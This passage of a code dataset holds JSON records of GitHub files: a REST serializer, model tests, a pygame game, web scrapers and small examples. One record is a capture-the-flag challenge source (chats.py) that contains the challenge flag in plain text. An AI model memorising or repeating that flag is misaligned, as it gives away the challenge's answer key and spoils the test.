"matplotlib.pyplot", "line_number": 318, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 319, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 319, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 320, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 320, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 355, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 355, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 360, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 360, "usage_type": "name"}]}
{"seq_id": "9584318851", "text": "from rest_framework import serializers\n\nfrom ..models import OneTimeReport, PeriodicReport\n\n\nclass ReportSerializer(serializers.ModelSerializer):\n    \"\"\"Base report serializer class\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"Filter queryset of task by user\"\"\"\n        request = kwargs.get('context').get('request')\n        task = self.fields['task']\n        task.queryset = task.queryset.filter(user=request.user)\n        super().__init__(*args, **kwargs)\n\n\nclass OneTimeReportSerializer(ReportSerializer):\n    \"\"\"Serializer for ``OneTimeReport``\"\"\"\n\n    class Meta:\n        model = OneTimeReport\n        exclude = ('total_rules',)\n\n\nclass PeriodicReportSerializer(ReportSerializer):\n    \"\"\"Serializer for ``PeriodicReport``\"\"\"\n\n    class Meta:\n        model = PeriodicReport\n        exclude = ('total_rules',)\n", "repo_name": "wh01ssh3/profilechecker", "sub_path": "apps/reports/api/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 824, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 6, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 6, "usage_type": "name"}, {"api_name": "models.OneTimeReport", "line_number": 21, "usage_type": "name"}, {"api_name": "models.PeriodicReport", "line_number": 29, "usage_type": "name"}]}
{"seq_id": "6427907909", "text": "import string\n\nimport numpy as np\nimport pytest\n\nfrom pytorch_widedeep.training import BayesianTrainer\nfrom pytorch_widedeep.bayesian_models import BayesianWide, BayesianTabMlp\n\n# Wide array\nX_wide = np.random.choice(50, (32, 10))\n\n# Deep Array\ncolnames = list(string.ascii_lowercase)[:10]\nembed_cols = [np.random.choice(np.arange(5), 32) for _ in range(5)]\nembed_input = [(u, i, j) for u, i, j in zip(colnames[:5], [5] * 5, [16] * 5)]\nembed_input_tt = [(u, i) for u, i in zip(colnames[:5], [5] * 5)]\ncont_cols = [np.random.rand(32) for _ in range(5)]\ncolumn_idx = {k: v for v, k in enumerate(colnames)}\nX_tabmlp = np.vstack(embed_cols + cont_cols).transpose()\n\n# Target\ntarget_regres = np.random.random(32)\ntarget_binary = np.random.choice(2, 32)\ntarget_multic = np.random.choice(3, 32)\n\n##############################################################################\n# Test that the three possible methods (regression, binary and mutliclass)\n# work well\n##############################################################################\n\n\n@pytest.mark.parametrize(\"model_name\", [\"wide\", \"tabmlp\"])\n@pytest.mark.parametrize(\"objective\", [\"binary\", \"multiclass\"])\n@pytest.mark.parametrize(\"return_samples\", [True, False])\n@pytest.mark.parametrize(\"embed_continuous\", [True, False])\ndef test_classification(model_name, objective, return_samples, embed_continuous):\n    bsz = 32\n    n_samples = 5\n\n    pred_dim = 1 if objective == \"binary\" else 3\n    target = target_binary if objective == \"binary\" else target_multic\n\n    if model_name == \"wide\":\n        X_tab = X_wide\n        model = BayesianWide(np.unique(X_wide).shape[0], pred_dim)\n    elif model_name == \"tabmlp\":\n        X_tab = X_tabmlp\n        model = BayesianTabMlp(\n            column_idx=column_idx,\n            cat_embed_input=embed_input,\n            continuous_cols=colnames[-5:],\n            embed_continuous=embed_continuous,\n            mlp_hidden_dims=[32, 16],\n            pred_dim=pred_dim,\n        )\n\n    trainer = BayesianTrainer(model, objective=objective, verbose=0)\n    trainer.fit(X_tab=X_tab, target=target, batch_size=16)\n    preds = trainer.predict(X_tab=X_tab, return_samples=return_samples, batch_size=16)\n    probs = trainer.predict_proba(\n        X_tab=X_tab, return_samples=return_samples, batch_size=16\n    )\n\n    out = []\n\n    if return_samples:\n        out.append(preds.shape[0] == n_samples)\n        out.append(preds.shape[1] == bsz)\n        out.append(probs.shape[0] == n_samples)\n        out.append(probs.shape[1] == bsz)\n        out.append(probs.shape[2] == 2 if objective == \"binary\" else 3)\n\n    else:\n        out.append(preds.shape[0] == bsz)\n        out.append(probs.shape[0] == bsz)\n        out.append(probs.shape[1] == 2 if objective == \"binary\" else 3)\n\n    assert all(out)\n\n\n@pytest.mark.parametrize(\"model_name\", [\"wide\", \"tabmlp\"])\n@pytest.mark.parametrize(\"return_samples\", [True, False])\ndef test_regression(model_name, return_samples):\n    bsz = 32\n    n_samples = 5\n\n    if model_name == \"wide\":\n        X_tab = X_wide\n        model = BayesianWide(np.unique(X_wide).shape[0], 1)\n    elif model_name == \"tabmlp\":\n        X_tab = X_tabmlp\n        model = BayesianTabMlp(\n            column_idx=column_idx,\n            cat_embed_input=embed_input,\n            continuous_cols=colnames[-5:],\n            mlp_hidden_dims=[32, 16],\n            pred_dim=1,\n        )\n\n    trainer = BayesianTrainer(model, objective=\"regression\", verbose=0)\n    trainer.fit(X_tab=X_tab, target=target_regres, batch_size=16)\n    preds = trainer.predict(X_tab=X_tab, return_samples=return_samples, batch_size=16)\n\n    out = []\n\n    if return_samples:\n        out.append(preds.shape[0] == n_samples)\n        out.append(preds.shape[1] == bsz)\n    else:\n        out.append(preds.shape[0] == bsz)\n\n    assert all(out)\n", "repo_name": "jrzaurin/pytorch-widedeep", "sub_path": "tests/test_bayesian_models/test_bayes_model_functioning/test_b_fit_methods.py", "file_name": "test_b_fit_methods.py", "file_ext": "py", "file_size_in_byte": 3787, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1164, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.random.choice", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 10, "usage_type": "attribute"}, {"api_name": "string.ascii_lowercase", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.vstack", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pytorch_widedeep.bayesian_models.BayesianWide", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 45, "usage_type": "call"}, {"api_name": "pytorch_widedeep.bayesian_models.BayesianTabMlp", "line_number": 48, "usage_type": "call"}, {"api_name": "pytorch_widedeep.training.BayesianTrainer", "line_number": 57, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 32, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 33, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 34, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 35, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pytorch_widedeep.bayesian_models.BayesianWide", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 89, "usage_type": "call"}, {"api_name": "pytorch_widedeep.bayesian_models.BayesianTabMlp", "line_number": 92, "usage_type": "call"}, {"api_name": "pytorch_widedeep.training.BayesianTrainer", "line_number": 100, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 81, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 82, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 82, "usage_type": "attribute"}]}
{"seq_id": "34705082909", "text": "import pygame\nfrom sys import exit\nfrom random import randint, choice\n\nclass Trashcan(pygame.sprite.Sprite):\n    def __init__(self, **kwargs):\n        super().__init__(**kwargs)\n\n        trashcan_close = pygame.image.load('items/trashcan_closed.png').convert_alpha()\n        trashcan_open = pygame.image.load('items/trashcan_opened.png').convert_alpha()\n        self.trashcan_ = [trashcan_close, trashcan_open]\n        self.trashcan_index = 0\n\n        self.image = self.trashcan_[self.trashcan_index]\n        self.image = pygame.transform.rotozoom(self.image, 0, 1.5)\n        self.rect = self.image.get_rect(midbottom= (100, 430))\n        \n    def set_index(self, index):\n        self.index = index\n        self.image = self.trashcan_[self.index]\n        \n    def player_input(self):\n        keys = pygame.key.get_pressed()\n\n        if keys[pygame.K_LEFT]: \n            self.rect.x -= 4\n            if self.rect.midright[0] < 0: self.rect.midleft = (800, self.rect.midleft[1])\n        if keys[pygame.K_RIGHT]:\n            self.rect.x += 4\n            if self.rect.midleft[0] > 800: self.rect.midright = (0, self.rect.midright[1])\n\n    def update(self):\n        self.player_input()\n\nclass Trash(pygame.sprite.Sprite):\n    def __init__(self, **kwargs):\n        super().__init__(**kwargs)\n\n        trash_ = pygame.image.load(f'items/trash_{choice([1,2,3])}.png').convert_alpha()\n\n        self.image = trash_\n        self.rect = self.image.get_rect(bottomleft= (randint(0, 752), randint(-100,-50)))\n        \n        self.collide_sound = pygame.mixer.Sound('audio/collision.wav')\n\n\n    def update(self):\n        self.rect.y += 2\n        self.destroy()\n\n    def destroy(self):\n        global trash_missed, trash_cleaned\n\n        if trashcan.sprite.rect.midleft <= self.rect.center <= trashcan.sprite.rect.midright and self.rect.center[1] >330:\n            trash_cleaned += 1\n            self.kill()\n            self.collide_sound.play()\n\n        # if self.rect.y >= 360:\n        if self.rect.midbottom[1] >= 390:\n            trash_missed += 1\n            self.kill()\n\n\ndef get_timer():\n    current_time = (pygame.time.get_ticks() - start_time) // 1000 # convert to seconds\n    minutes, seconds = divmod(current_time, 60)\n    time_str = f\"{minutes:02d}:{seconds:02d}\" # format as \"mm:ss\"\n    time_sur = font.render(time_str, False, (64, 64, 64))\n    time_rec = time_sur.get_rect(center=(40, 30))\n    screen.blit(time_sur, time_rec)\n\n\ndef collision_sprite():\n\n    if pygame.sprite.spritecollide(trashcan.sprite, trash_group, False):\n        trashcan.sprite.set_index(1)\n    else: trashcan.sprite.set_index(0)\n\npygame.init()\ngame_active = True\ntrash_cleaned, trash_missed, start_time = 0, 0, 0  # initialize count\n\n# Initialize the game\nscreen = pygame.display.set_mode((800, 480))\npygame.display.set_caption('Clean UP')\nicon = pygame.image.load('background/game_icon.png').convert_alpha()\npygame.display.set_icon(icon)\n\nclock = pygame.time.Clock()\nfont = pygame.font.Font('fonts/Pixeltype.ttf', 30)\n\n# Background music\nbg_music = pygame.mixer.Sound(f'audio/bg_music{choice([1,2])}.wav')\nbg_music.set_volume(0.5)\nbg_music.play(loops = -1)\n\n# Calling classes and creating the ingame items\ntrashcan = pygame.sprite.GroupSingle()\ntrashcan.add(Trashcan())\ntrash_group = pygame.sprite.Group()\n\n# Initialize the surface (background)\nbackground_surf = pygame.image.load('background/background.jpg').convert()\n\n# Timer\nobstacle_timer = pygame.USEREVENT + 1\npygame.time.set_timer(obstacle_timer, 1500)\n\n\n# The game loop\nwhile True:\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT or (event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE):\n            pygame.quit()\n            exit()\n\n        if event.type == obstacle_timer and game_active:\n            trash_group.add(Trash())\n\n    if game_active:\n        # Placing the surface we made on the original surface\n        screen.blit(background_surf, (0, 0))\n        get_timer()\n\n        trashcan.draw(screen)\n        trashcan.update()\n        trash_group.draw(screen)\n        trash_group.update()\n\n        score_sur = font.render(f'{trash_cleaned} Cleaned - {trash_missed}/10 Missed', False, (64, 64, 64))\n        score_rec = score_sur.get_rect(center = (390, 30))\n\n        screen.blit(score_sur, score_rec)\n        \n        # Colision detection and animation change\n        collision_sprite()\n\n        # Game Lost\n        if trash_missed == 10:\n            game_active = False\n\n            # Gameover sound\n            bg_music.set_volume(0)\n            gameover_sound = pygame.mixer.Sound('audio/gameover.wav')\n            gameover_sound.set_volume(0.1)\n            gameover_sound.play()\n\n    \n    else:\n        # Initialize the surface (gameover)\n        gameover_sur = pygame.image.load('background/background.jpg').convert()\n\n        fonts = [pygame.font.Font('fonts/Pixeltype.ttf', 100), pygame.font.Font('fonts/Pixeltype.ttf', 60)]\n        \n        # game over texts\n        textover_sur = fonts[0].render('GAME OVER', False, (64, 45, 75))\n        textover_rec = textover_sur.get_rect(center = (390, 180))\n\n        restart_sur = fonts[1].render('RESTART', False, (64, 45, 75))\n        restart_rec = restart_sur.get_rect(center = (390, 230))\n\n        yes_sur = fonts[1].render('YES', False, (0, 255, 0))\n        yes_rec = yes_sur.get_rect(center = (330, 270))\n        \n        no_sur = fonts[1].render('NO', False, (255, 0, 0))\n        no_rec = no_sur.get_rect(center = (450, 270))\n        \n        # Display\n        screen.blit(gameover_sur, (0, 0))\n        screen.blit(textover_sur, textover_rec)\n        screen.blit(restart_sur, restart_rec)\n        screen.blit(yes_sur, yes_rec)\n        screen.blit(no_sur, no_rec)\n\n        if event.type == pygame.MOUSEBUTTONDOWN and yes_rec.collidepoint(event.pos):\n            trash_cleaned, trash_missed = 0, 0  # initialize count\n            game_active = True\n            bg_music.set_volume(0.5)\n            trash_group.empty()\n            \n            start_time = pygame.time.get_ticks()\n\n        if event.type == pygame.MOUSEBUTTONDOWN and no_rec.collidepoint(event.pos):\n            pygame.quit()\n            exit()\n\n\n\n        \n\n\n\n    \n    # Draw all our elements\n    # Update everything\n    pygame.display.update()\n    clock.tick(60)\n\n\n    ", "repo_name": "YumTaha/CleanUp", "sub_path": "cleanUP.py", "file_name": "cleanUP.py", "file_ext": "py", "file_size_in_byte": 6261, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.sprite", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.transform.rotozoom", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 39, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 39, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.mixer.Sound", "line_number": 44, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pygame.time.get_ticks", "line_number": 66, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 76, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 80, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 85, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 85, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 86, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 86, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 87, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 87, "usage_type": "attribute"}, {"api_name": "pygame.display.set_icon", "line_number": 88, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 88, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 90, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 90, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 91, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 91, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 94, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.sprite.GroupSingle", "line_number": 99, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 99, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 101, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 101, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 104, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 104, "usage_type": "attribute"}, {"api_name": "pygame.USEREVENT", "line_number": 107, "usage_type": "attribute"}, {"api_name": "pygame.time.set_timer", "line_number": 108, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 108, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 113, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 113, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 114, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 114, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 114, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 115, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 116, "usage_type": "call"}, {"api_name": "pygame.mixer.Sound", "line_number": 145, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 145, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 152, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 152, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 154, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 154, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 176, "usage_type": "attribute"}, {"api_name": "pygame.time.get_ticks", "line_number": 182, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 182, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 184, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 185, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 186, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 197, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 197, "usage_type": "attribute"}]}
{"seq_id": "10085473916", "text": "#!/usr/bin/env python3\nfrom base64 import a85encode\nflag = b'COMPFEST13{4fd29464a28a1b39559f4fc500b41c4b17ec8ad74512394a830b51506AIUEOuh_f8facf99fe}'\n\ndialogues = [\n    b'Hey',\n        b'Hey?',\n    b'Bob..',\n        b'What',\n    b'Do you like a secret?',\n        b'Who doesn\\'t like?',\n    b'Nice. I have this flag.',\n        b'What?',\n    flag[:20],\n        b'Hmm. Just the first 20 characters?',\n    b'I\\'m pretty sure you have the rest',\n        b'Yeah, flag[20:60]',\n    b'I have the flag[60:] too...',\n        b'Ok, I will send it after you. Go on.',\n    flag[60:],\n        flag[20:60],\n    b'Nice, we have the flag now!',\n        b'I hope hackers cannot see this.',\n    b'This channel is secure right?',\n        b'Yeah.',\n    b'I hope you\\'re right.',\n        b'I hope so.',\n    b'Ok then',\n        b'Bye.',\n    b'Bye',\n        b'bye',\n]\n\nassert len(dialogues) % 2 == 0\n\nalice_dialogue = [\n    a85encode(dialogues[i]) for i in range(0, len(dialogues), 2) \n]\n\nbob_dialogue = [\n    a85encode(dialogues[i]) for i in range(1, len(dialogues), 2)\n]", "repo_name": "ctfcompfest/compfest13-qualification", "sub_path": "cryptography/secure-channel/src/server/chats.py", "file_name": "chats.py", "file_ext": "py", "file_size_in_byte": 1048, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "81", "api": [{"api_name": "base64.a85encode", "line_number": 37, "usage_type": "call"}, {"api_name": "base64.a85encode", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "33438477578", "text": "from bs4 import BeautifulSoup\nfrom urllib import parse, request\nfrom datetime import date\nimport re\n\nclass Scraper():\n\n    def __init__(self, index='http://www.reachoutberlin.de/modules.php?op=modload&name=topics&file=index&cm=9&cb=8'):\n        parsed_url = parse.urlparse(index)\n\n        self.start = request.urlopen(index)\n        self.base_url = parsed_url.scheme + \"://\" + parsed_url.netloc\n\n        # dates are a bit dificult; usually they're formatted like YYYY-MM-DD,\n        # followed by a space character, but sometimes the day is missing or it's\n        # followed by another character…\n        self.date_matcher = re.compile('^(\\d{4})-(\\d{,2})(-(\\d{,2}))?')\n\n    def get_next_page(self, document):\n        nav_elem = document.select('.nav')[1]\n\n        if nav_elem.get_text().strip() == '>':\n            href = nav_elem.get('href')\n            return BeautifulSoup(request.urlopen(href))\n        else:\n            return None\n\n\n    def get_articles_on_page(self, document):\n        article_tables = document.select('table[width=\"98%\"]')\n        articles = []\n\n        for table in article_tables:\n            # headlines are always YYYY-MM-DD? Berlin-DISTRICT\n            # sometimes they use Berlin followed by a space, usually by a dash;\n            # additionally maybe there is some information such as a\n            # train or bus station appended but often there isn't.\n            headline = table.select('tr:first-child')[0].get_text()\n\n            date_match = self.date_matcher.match(headline.strip())\n\n            year, month, day = date_match.group(1,2,4)\n            place = headline[headline.find(' ') + 1:]\n            text = table.select('tr')[2].select('td')[1].get_text()\n\n            article = {\n                'date': date(int(year), int(month), int(day) if day else 1),\n                'month_only': day is None,\n                'place': place.strip(),\n                'description': text.strip()\n            }\n            articles.append(article)\n\n        return articles\n\n    def get_yearly_overviews(self):\n        document = BeautifulSoup(self.start)\n        links = document.find_all('a')\n        overviews = []\n\n        for link in links:\n            if link.get_text().lower().startswith('chronik'):\n                overview_link = link.get('href')\n                overviews.append(parse.urljoin(self.base_url, overview_link))\n\n        return overviews\n\n    def scrape(self):\n        overview_urls = self.get_yearly_overviews()\n        articles = []\n\n        for url in overview_urls:\n            current_doc = BeautifulSoup(request.urlopen(url))\n\n            while current_doc:\n                new_articles = self.get_articles_on_page(current_doc)\n                articles.extend(new_articles)\n                current_doc = self.get_next_page(current_doc)\n\n        return articles\n", "repo_name": "heyarne/berliner-winter", "sub_path": "scraper/scraper.py", "file_name": "scraper.py", "file_ext": "py", "file_size_in_byte": 2825, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "urllib.parse.urlparse", "line_number": 9, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 9, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 11, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 11, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 17, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 24, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 24, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 24, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 47, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 57, "usage_type": "call"}, {"api_name": "urllib.parse.urljoin", "line_number": 64, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 64, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 73, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 73, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 73, "usage_type": "name"}]}
{"seq_id": "15110590088", "text": "import json\ndata = '''\n[\n    {\n        \"id\" : \"2\",\n        \"name\" : \"chuck\"\n    },\n\n    {\n        \"id\" : \"1\",\n        \"name\" : \"qqk\"\n    }\n]'''\n\nmylist = json.loads(data)\nprint(\"len data :\", len(mylist) )\nfor item in mylist:\n    print(item, \"-->\", item[\"name\"], \" : \", item[\"id\"] )\n", "repo_name": "ewigspace1910/ProgramimgforDumbs", "sub_path": "PYthon/py4e/network/json.py", "file_name": "json.py", "file_ext": "py", "file_size_in_byte": 282, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.loads", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "41237817762", "text": "from __future__ import annotations\nfrom typing import Optional\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass Count(object):\n    balls: int\n    strikes: int\n\n    @classmethod\n    def from_str(cls, value: str) -> Optional[Count]:\n        if not value.isdigit():\n            return None\n\n        return Count(int(value[0]), int(value[1]))\n", "repo_name": "fstakem/baseball_analytics_book", "sub_path": "baseball_data/data_structures/count.py", "file_name": "count.py", "file_ext": "py", "file_size_in_byte": 343, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.Optional", "line_number": 12, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 6, "usage_type": "name"}]}
{"seq_id": "42651020196", "text": "\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.common.exceptions import TimeoutException, StaleElementReferenceException\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\n\r\ndriver = webdriver.Chrome()\r\ndriver.get(\"http://www.jd.com\")\r\nwait = WebDriverWait(driver,10)\r\n\r\ndef search():\r\n    try:\r\n        input = wait.until(\r\n            EC.presence_of_element_located((By.ID,\"key\"))\r\n        )\r\n        btn = wait.until(\r\n            EC.element_to_be_clickable((By.CSS_SELECTOR,\"#search > div > div.form > button\"))\r\n        )\r\n        input.send_keys('computer')\r\n        btn.click()\r\n    except TimeoutException:\r\n        #recursoin\r\n        return search()\r\n\r\ndef next_page(page_number):\r\n    print('getting page %s'%page_number)\r\n    try:\r\n        input = wait.until(\r\n            EC.presence_of_element_located((By.CSS_SELECTOR, \"#J_bottomPage > span.p-skip > input\"))\r\n        )\r\n        btn = wait.until(\r\n            EC.element_to_be_clickable((By.CSS_SELECTOR, \"#J_bottomPage > span.p-skip > a\"))\r\n        )\r\n        input.clear()\r\n        input.send_keys(page_number)\r\n        btn.click()\r\n\r\n\r\n        wait.until(\r\n            EC.text_to_be_present_in_element((By.CSS_SELECTOR,'#J_bottomPage > span.p-num > a.curr'),str(page_number))\r\n        )\r\n    except TimeoutException:\r\n        return next_page(page_number)\r\n    except StaleElementReferenceException:\r\n        return next_page(page_number)\r\n\r\n\r\ndef main():\r\n    search()\r\n    for i in range(1,20):\r\n        next_page(i)\r\nif __name__ == '__main__':\r\n    main()\r\n    driver.close()\r\n", "repo_name": "ClarkQian/Crawler", "sub_path": "spiderCase/selenWorkTest.py", "file_name": "selenWorkTest.py", "file_ext": "py", "file_size_in_byte": 1669, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 9, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 9, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 11, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 16, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 16, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 16, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 16, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 19, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 19, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 19, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 19, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.TimeoutException", "line_number": 23, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 31, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 31, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 31, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 31, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 34, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 34, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 34, "usage_type": "name"}, {"api_name": 